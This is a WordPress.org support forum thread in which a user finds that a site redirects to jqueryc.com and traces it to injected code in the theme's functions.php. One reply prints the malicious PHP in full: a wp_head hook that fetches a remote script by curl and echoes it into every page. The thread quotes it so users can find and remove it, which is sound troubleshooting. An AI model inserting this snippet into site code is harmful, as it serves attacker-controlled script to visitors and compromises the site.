WordPress.org

1. calik1d
   Member
   Posted 6 months ago #
   

   I'm not sure maybe my site has been hacked. I just noticed it today.

   When I type in the url to the site I'm working on it automatically goes to http://www.jqueryc.com

   I uninstall all the plugins but the problem is still there.

   Any thoughts? Thanks in advance.

2. Andrew Nevins
   Volunteer Moderator
   Posted 6 months ago #
   

   Consider this thread
   http://wordpress.org/support/topic/url-suddenly-redirecting-to-jquery-website?replies=5

3. calik1d
   Member
   Posted 6 months ago #
   

   Thanks Andrew but I found the problem.

   There was a line in the funcions php file that loaded the jqueryc.com link. It was an if statement. I deleted it and now the site works.

4. railingcompany
   Member
   Posted 6 months ago #
   

   Usually that link gets inserted into illegally downloaded plugins or themes

5. mvandemar
   Member
   Posted 6 months ago #
   

   If you have the original zip file for your theme I would check it and see if that code was in there all along. If not then you probably did get hacked, and I would make sure there was nothing else lurking in the site, and try and figure out how they got in. If the code is in the original theme, ditch the theme altogether, since there might be other bs embedded in there that you don't see.

   -Michael

6. Okendoken
   Member
   Posted 5 months ago #
   

   The solution is to remove following line from function.php

   if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}

   I described it in details at my blog - WordPress jqueryc.com problem

7. Thermoses
   Member
   Posted 3 months ago #
   

   Thanks..worked like a charm. :)

Reply

You must log in to post.